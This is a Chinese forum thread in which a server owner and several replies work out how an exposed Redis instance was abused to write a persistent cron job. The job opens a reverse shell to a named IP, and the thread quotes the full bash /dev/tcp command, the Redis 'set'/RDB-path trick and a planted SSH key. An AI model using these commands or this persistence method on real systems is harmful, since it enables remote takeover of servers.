crontab 的定时任务全部被清空,换成了 如下
"\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"
删除之后,过几秒之后,又出现在了定时任务中了。
百度了下看起来像是 反弹 shell,可以看到你在服务器的任何行为。
现在不知道怎么解决,不知道哪个脚本在后台执行,一直写定时任务进去。
求有懂得老铁帮忙看下
1
bigbigeggs OP cpu,内存看起来暂时正常。不知道入侵者想干什么
|
2
opengps 2020-12-22 22:41:11 +08:00
抓紧备份数据重装系统恢复业务。
人工清理病毒往往很难判断是否清理彻底,所以及时你清理了病毒也很难发现是否有其他隐患。 如果你想要研究病毒,打个系统镜像,拿到别处研究 |
3
opengps 2020-12-22 22:43:31 +08:00
那个 IP 直接浏览器访问 80 端口,发现是个类似于 OA 签到的东西,像是一种后门脚本。
那个 IP 的 8888 端口的站点直接访问提示不安全,看来有可能确实是某种防止滥用。 |
4
opengps 2020-12-22 22:46:02 +08:00
太神奇了,那个站点,有备案有作者,楼主确认下是不是正常的对外扩展功能吧。
|
5
bigbigeggs OP |
6
kaneg 2020-12-22 22:52:37 +08:00 via iPhone
是个反向 shell,你的 bash 的输入输出都被对方控制了。估计除了这一个定时任务还有其他的,你这边删了,另一个任务又把它重建出来了。
你这是哪种 Linux 系统?对外有暴露哪些端口和服务? |
7
bigbigeggs OP |
8
bigbigeggs OP @kaneg 应该还有其他定时任务在执行,但就是找不到。也不知道想干嘛
|
9
zszhere 2020-12-22 23:14:34 +08:00 via iPhone
这就是个反弹 shell 啊 你在对方那已经上线了
如果没有可疑进程或者其他用户也没有 crontab 的话 检查下你的内核是不是被挂载了 rootkit 一般用这个来做持久化权限维持 然后检查下.ssh 目录有没有被写入公钥 |
10
zszhere 2020-12-22 23:15:19 +08:00 via iPhone
还有检查下 /etc/passwd 看有没有被新增用户或者被改掉密码
|
11
WordTian 2020-12-22 23:22:46 +08:00 via Android 2
我猜是 redis 对外开放造成的🐶
|
12
bigbigeggs OP @zszhere .ssh 真有一条公钥,吓死我了,不知道什么时候写进去的,感谢老哥提醒。我还得在排查下其他的
|
13
bigbigeggs OP @WordTian redis 是有对外开放的端口。但是端口不是常用的,并且有设置密码。是有项目在用 redis 塞数据,但 redis 是怎么做到 往 cront 里面写数据的? RDB 文件?
|
14
cheng6563 2020-12-22 23:34:21 +08:00 via Android
不用排查了,排不全的。直接备份数据格了吧
|
15
hakono 2020-12-22 23:59:51 +08:00 via Android
你那么多服务公开在外网,哪个服务有个安全漏洞不就中招了.......
|
16
caola 2020-12-23 00:05:28 +08:00
还不备份数据,就等删库跑路吧
|
17
WordTian 2020-12-23 00:07:37 +08:00 via Android
@bigbigeggs 对,rdb 文件,写公钥,覆盖 crontab 文件,常规操作了
|
18
yuelang85 2020-12-23 00:12:22 +08:00
@bigbigeggs redis 可以修改配置文件和保存配置文件的路径,这样就可以在 redis 中通过保存配置文件的方法在磁盘上写文件。
|
19
itabas016 2020-12-23 01:17:30 +08:00 via Android
服务器不就只应该暴露 ssh/http 端口吗?这是安全常识。
|
20
black11black 2020-12-23 06:00:17 +08:00
@WordTian 学习了,redis 对外开放还可能造成这种后果?
|
21
steptodream 2020-12-23 08:19:11 +08:00
感觉肯定是 redis 被黑 redis 暴露公网被黑的太多了 光是 V2EX 上就看到好几起了
|
22
alw 2020-12-23 08:51:08 +08:00
我之前 就是 redis 对外开放被黑过,当时不懂,找腾讯云提工单帮我查,定位到了是这个问题导致的。
|
23
littlezzll 2020-12-23 09:02:08 +08:00 via Android
redis 暴露公网端口一定得加密码,以普通用户启动,前一阵就被 redis 那个提权漏洞搞过
|
25
sagaxu 2020-12-23 09:12:44 +08:00 via Android
iptables INPUT 默认策略不该是 DROP 吗?
|
26
PbCopy111 2020-12-23 09:15:27 +08:00
妈呀,备案信息里什么都有啊。。。。我觉得楼主可以直接跟对方联系一下,备份服务器以后可以威胁报警了,哈哈哈哈。
|
27
PbCopy111 2020-12-23 09:16:23 +08:00
你们都慢点动手啊!!!!!!!给我留点时间!!
|
28
ferock 2020-12-23 09:18:09 +08:00
一直不理解,redis 有什么必要暴露到公网???
|
29
Dounx 2020-12-23 09:24:08 +08:00
有备案信息,备份好服务器直接报个警?
|
30
zszhere 2020-12-23 09:54:04 +08:00 via iPhone
@bigbigeggs 附议 14 楼观点 别查了 查不清楚。简单点会隐藏在 系统启动项 /etc/rc*.d bash 启动项 /etc/profile.d 高级点 上 rootkit 或者改掉你的 libc.so 或者 改掉你的 curl wget 等常用二进制 还有很多骚操作 排查不清。重装吧。
|
31
k8ser 2020-12-23 11:05:10 +08:00
脚本小子,这你不报警抓他,一抓一个准,做好取证,警察叔叔过年都冲业绩呢!
|
32
ericwood067 2020-12-23 11:19:04 +08:00
"\n* * * * *"大佬们,这个是多久执行一次,被`\n*`给搞懵了
|
33
ztxcccc 2020-12-23 11:29:06 +08:00
报警不是美滋滋
|
34
kiracyan 2020-12-23 12:02:46 +08:00
这人还是个搞网络安全的 github blog 备案都有 也太不小心了
|
36
iloveayu 2020-12-23 12:23:08 +08:00
名字,扣扣,IP 都有了,保留好证据直接报警吧,这手法还搞网安呢也是没谁了。。。
|
37
uselessVisitor 2020-12-23 13:23:55 +08:00 via Android
你的 redis 是 root 用户吧
|
38
bigbigeggs OP 感谢各位大佬的帮助以及建议,昨晚排查到快一点,今天早上又看了看,基本搞懂了。
首先攻击者拿到了我的 redis 端口和密码(全暴露在了公网,具体还不清楚怎么搞到的) 然后往 redis 里面写了一条数据,set x "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n" 然后利用 redis 的 conf 命令 见 RDB 文件的地址替换成了 crontab 的地址 ,日志如下: ![redis]( https://images.cnblogs.com/cnblogs_com/wenbochang/1355057/o_201223080258redis.png) 然后他的这条 bash 命令就写进了 cron 定时任务里面去了。 查了查定时任务的日志,大概在 12.9 日已经入侵了,但不知道入侵者的目的。 ![redis]( https://images.cnblogs.com/cnblogs_com/wenbochang/1355057/o_201223080248cron.png) 至今位置,cpu, 内存都一切正常,数据也没有丢失。但是应该数据库,redis,zk 等密码他全部获取到了。 写到了环境变量里面去了,唉。 晚上准备收集一下他的资料,准备和他谈谈,再次感谢各位大佬的帮助了。 可以参考如下两篇文章,写的很详细: redis 入侵: https://www.cnblogs.com/evan-blog/p/10707087.html 反弹 shell: https://www.cnblogs.com/bonelee/p/11021996.html |
39
bigbigeggs OP @beichenhpy 是的,root 用户。已经肯定了是从 redis 入侵的,修改了 dump 文件目录
|
40
bigbigeggs OP |
41
bigbigeggs OP |
42
InkAndBanner 2020-12-23 17:26:04 +08:00
redis 的问题 很常见 我的学生机曾经也被安排过
|
43
bigbigeggs OP @iloveayu 我也查到他的 qq,姓名了,准备 qq 联系一下。还没有手机号,不知道咋搞
|
44
CodeCodeStudy 2020-12-24 09:13:58 +08:00
@bigbigeggs #38 反弹 shell,受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的,怎么让它在后台运行呢?我在后面加上 & 后,在攻击者机器上就看不到输入输出了。
|
45
onice 2020-12-24 10:21:59 +08:00
建议备份业务和数据,重装系统。Linux 系统可以安后门的地方太多了,比如替换某个系统文件,比如常见的 ls 命令。那么多命令,鬼才知道是替换的哪一个。
也不是说不可以排查,但排查的成本大于重装的成本。 |
46
bigbigeggs OP @CodeCodeStudy linux 上定时任务,crontab 每分每秒都执行
|
47
CodeCodeStudy 2020-12-24 19:07:11 +08:00
@bigbigeggs #46 Linux 上的 crontab 只能精确到分钟,怎么让它每分每秒都执行?
|